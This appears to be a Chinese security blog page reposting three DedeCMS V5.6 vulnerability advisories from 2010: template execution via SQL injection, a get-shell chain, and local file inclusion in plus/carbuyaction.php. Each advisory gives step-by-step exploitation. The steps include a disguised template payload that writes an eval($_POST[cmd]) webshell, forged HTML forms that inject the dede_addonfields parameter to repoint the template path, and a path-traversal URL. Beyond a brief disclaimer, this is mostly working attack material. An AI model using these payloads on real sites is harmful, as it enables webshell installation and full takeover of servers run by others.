体验盒子

收藏唠嗑,希望你喜欢!

Dedecms V5.6 Final模板执行漏洞

2010年8月19日 Vulndb 1 条评论 | 热度:192 ℃

发布时间:2010-08-18
影响版本:Dedecms V5.6 Final

漏洞描述:

Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上传上去,然后通过SQL注入修改附加表的模板路径为我们上传的模板路径,模板解析类:include/inc_archives_view.php没有对模板路径及名称做任何限制,则可以成功执行恶意代码。

1、member/article_edit.php文件(注入):

//漏洞在member文件夹下普遍存在,$dede_addonfields是由用户提交的,可以被伪造,伪造成功即可带入sql语句,于是我们可以给附加表的内容进行update赋值。
…
//分析处理附加表数据
$inadd_f = '';
if(!empty($dede_addonfields))//自己构造$dede_addonfields
{
$addonfields = explode(';',$dede_addonfields);
if(is_array($addonfields))
{
print_r($addonfields);
foreach($addonfields as $v)
{
if($v=='')
{
continue;
}
$vs = explode(',',$v);
if(!isset(${$vs[0]}))
{
${$vs[0]} = '';
}
${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);
$inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";
echo $inadd_f;
}
}
}
…
if($addtable!='')
{
$upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' "; //执行构造的sql
if(!$dsql->ExecuteNoneQuery($upQuery))
{
ShowMsg("更新附加表 `$addtable`  时出错,请联系管理员!","javascript:;");
exit();
}
}
…

2、include/inc_archives_view.php:

//这是模板处理类,如果附加表的模板路径存在,直接从附加表取值;GetTempletFile获取模板文件的方法就是取的此处的模板路径,从来带进去解析。
…
//issystem==-1 表示单表模型,单表模型不支持redirecturl这类参数,因此限定内容普通模型才进行下面查询
if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)
{
if(is_array($this->addTableRow))
{
$this->Fields['redirecturl'] = $this->addTableRow['redirecturl'];
$this->Fields['templet'] = $this->addTableRow['templet'];//取值
$this->Fields['userip'] = $this->addTableRow['userip'];
}
$this->Fields['templet'] = (empty($this->Fields['templet']) ? '' : trim($this->Fields['templet']));
$this->Fields['redirecturl'] = (empty($this->Fields['redirecturl']) ? '' : trim($this->Fields['redirecturl']));
$this->Fields['userip'] = (empty($this->Fields['userip']) ? '' : trim($this->Fields['userip']));
}
else
{
$this->Fields['templet'] = $this->Fields['redirecturl'] = '';
}
…

//获得模板文件位置
function GetTempletFile()
{
global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;
$cid = $this->ChannelUnit->ChannelInfos['nid'];
if(!empty($this->Fields['templet']))
{
$filetag = MfTemplet($this->Fields['templet']);
if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;
}
else
{
$filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
}
$tid = $this->Fields['typeid'];
$filetag = str_replace('{cid}', $cid,$filetag);
$filetag = str_replace('{tid}', $tid,$filetag);
$tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
if($cid=='spec')
{
if( !empty($this->Fields['templet']) )
{
$tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
}
else
{
$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
}
}
if(!file_exists($tmpfile))
{
$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec' ? 'article_spec.htm' : 'article_default.htm');
}
return $tmpfile;
}

测试方法:
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

1.上传一个模板文件:

注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:
uploads/userup/2/12OMX04-15A.jpg

模板内容是(如果限制图片格式,加gif89a):

{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}

2.修改刚刚发表的文章,查看源文件,构造一个表单:

<form name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data" onsubmit="return checkSubmit();">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />

<div id="mainCp">
<h3><strong>修改文章</strong></h3>

<div>
<label>标题:</label>
<input  name="title" type="text" id="title" value="11233ewsad" maxlength="100"/>

<label>标签TAG:</label>
<input name="tags" type="text" id="tags"  value="hahah,test" maxlength="100"/>(用逗号分开)

<label>作者:</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" style="width:219px"/>

<label>隶属栏目:</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select>            <span style="color:#F00">*</span>(不能选择带颜色的分类)

<label>我的分类:</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>

<label>信息摘要:</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)

<label>缩略图:</label>
<input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);"  maxlength="100"/>

<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">(这里构造)
</div>

<!-- 表单操作区域 -->
<h3>详细内容</h3>

<div>
<input type="hidden" id="body" name="body" value="&lt;div&gt;&lt;a href=&quot;http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; alt=&quot;&quot; src=&quot;http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg&quot; width=&quot;1010&quot; height=&quot;456&quot; /&gt;&lt;/a&gt;&lt;/div&gt; &lt;p&gt;&amp;lt;?phpinfo()?&amp;gt;1111111&lt;/p&gt;" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&amp;Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>

<label>验证码:</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" onclick="this.src=this.src+'?'" />

<button type="submit">提交</button>
<button type="reset" onclick="location.reload();">重置</button>
</div>
</div>
</form>

提交,提示修改成功,则我们已经成功修改模板路径。

3.访问修改的文章:

假设刚刚修改的文章的aid为2,则我们只需要访问:
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell:1.php

安全建议:

厂商补丁:
DEDECMS
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.dedecms.com/

DEDECMS网站管理系统Get Shell漏洞

2010年8月19日 Vulndb 没有评论 | 热度:246 ℃

发布时间:2010-08-18
影响版本:DEDECMS 5.3/5.6

漏洞描述:
DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于 DedeCms核心,是目前国内应用最广泛的php类CMS系统。

article_add.php

else if($dopost=='save')
{
include(DEDEMEMBER.'/inc/archives_check.php'); //分析处理附加表数据
$inadd_f = $inadd_v = '';
if(!empty($dede_addonfields))
{
$addonfields = explode(';',$dede_addonfields);
............................................ //省略部份代码
$inadd_f .= ','.$vs[0];
$inadd_v .= " ,'".${$vs[0]}."' ";
}
}
}
..........................................
$addtable = trim($cInfos['addtable']);
if(empty($addtable))
{
......................................
}
else
{
$inquery = "INSERT INTO  `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f})  Values('$arcID','$typeid','$userip','','','$body'{$inadd_v})";
if(!$dsql->ExecuteNoneQuery($inquery))
{
..........................................
}
}
..........................................
$artUrl = MakeArt($arcID,true);      //利用地方(arc.archives.functions.php有定义)

function MakeArt($aid,$ismakesign=false)
{
global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style;
include_once(DEDEINC.'/arc.archives.class.php');
if($ismakesign)
{
$envs['makesign'] = 'yes';
}
$arc = new Archives($aid);
$reurl = $arc->MakeHtml();            //arc.archives.class.php有定义
............................
}

arc.archives.class.php
class Archives
{
................
function __construct($aid)
{
............
if($this->ChannelUnit->ChannelInfos['addtable']!='')
{
$query = "SELECT * FROM `{$this->ChannelUnit->ChannelInfos['addtable']}` WHERE `aid` = '$aid'";
$this->addTableRow = $this->dsql->GetOne($query);
}
........................
if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)
{
if(is_array($this->addTableRow))
{
...............................
$this->Fields['templet'] = $this->addTableRow['templet'];//注意1
......................................
}
}
.............................
}

function MakeHtml($isremote=0)
{
global $cfg_remote_site,$fileFirst;
if($this->IsError)
{
return '';
}
$this->Fields["displaytype"] = "st";
//预编译$th
$this->LoadTemplet();               //触发1

......................................//省略部份代码
$this->ParseDMFields($i,1);
$this->dtp->SaveTo($truefilename); //触发2
......................................
}
继续跟(触发1)$this->LoadTemplet();         //arc.archives.class.php有定义

function LoadTemplet()
{
if($this->TempSource=='')
{
$tempfile = $this->GetTempletFile();                      //注意2
if(!file_exists($tempfile) || !is_file($tempfile))
{
echo "文档ID:{$this->Fields['id']} -  {$this->TypeLink->TypeInfos['typename']} -  {$this->Fields['title']}<br />";
echo "模板文件不存在,无法解析文档!";
exit();
}
$this->dtp->LoadTemplate($tempfile);                   //触发3
$this->TempSource = $this->dtp->SourceString;
}
else
{
$this->dtp->LoadSource($this->TempSource);
}
}

看注意2 的$this->GetTempletFile()           //arc.archives.class.php有定义

function GetTempletFile()
{
global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;
$cid = $this->ChannelUnit->ChannelInfos['nid'];
if(!empty($this->Fields['templet']))                   //注意3
{
$filetag = MfTemplet($this->Fields['templet']);
if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;
}
else
{
$filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
}
.......................................
if($cid=='spec')
{
if( !empty($this->Fields['templet']) )
{
$tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
}
else
{
$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
}
}
...........................................
return $tmpfile;
}

注意3中的值来自注意1是通过查表得来的,控制了它就等于控制了任意模板,然后通过触发3来触发漏洞
看下怎么控制注意1的值

article_edit.php

......................
else if($dopost=='save')
{ ....................
if(!empty($dede_addonfields))
{
$addonfields = explode(';',$dede_addonfields);
if(is_array($addonfields))
{
........................
${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);
$inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";

}
}
...................
if($addtable!='')
{
$upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";
if(!$dsql->ExecuteNoneQuery($upQuery))
{..............
}
}
....................
}

$dede_addonfields没有过滤,我们可以构造$inadd_f为,templet='上传的模板图片地址',包含我们的图片后,再通过触发2来生成图片里的后门!

测试方法:

 Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}

保存为1.gif

<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg"/>
<input name="addonfile" type="file" id="addonfile"/>
<button type="submit" >更改</button>
</form>

构造如上表单,上传后图片保存为/uploads/userup/3/1.gif
发表文章,然后构造修改表单如下:

<form  action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input  name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button type="submit">提交</button>
</form>

安全建议:

厂商补丁:
DEDECMS
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.dedecms.com/

织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞

2010年6月27日 Vulndb 没有评论 | 热度:211 ℃

发布时间:2010-06-20
影响版本:

DedeCmsV5.6

漏洞描述:
DedeCMS内容管理系统软件采用XML名字空间风格核心模板:模板全部使用文件形式保存,对用户设计模板、网站升级转移均提供很大的便利,健壮的模板标签为站长DIY 自己的网站提供了强有力的支持。

<?php
require_once (dirname(__FILE__) . "/../include/common.inc.php");
define('_PLUS_TPL_', DEDEROOT.'/templets/plus');
require_once DEDEINC.'/dedetemplate.class.php';
require_once DEDEINC.'/shopcar.class.php';
require_once DEDEINC.'/memberlogin.class.php';

if($cfg_mb_open=='N')
{
        ShowMsg("系统关闭了会员功能,因此你无法访问此页面!","javascript:;");
        exit();
}

$cfg_ml = new MemberLogin();

if(!isset($dopost) || empty($dopost)){   //只要$dopost不为空就行,By:俺是农村的。
        ...
}elseif($dopost == 'return'){
        require_once DEDEINC.'/payment/'.$code.'.php';  //变量$code未初始化,By:俺是农村的。
        $pay = new $code;
        $msg=$pay->respond();
        ShowMsg($msg,"javascript:;",0,3000);
        exit();
}
?>

测试方法:

本站提 供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

http://www.ssvdb.com/plus/carbuyaction.php?dopost=return&code=../../

安全建议:

厂商补丁:
DedeCMS
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.dedecms.com/

加载中……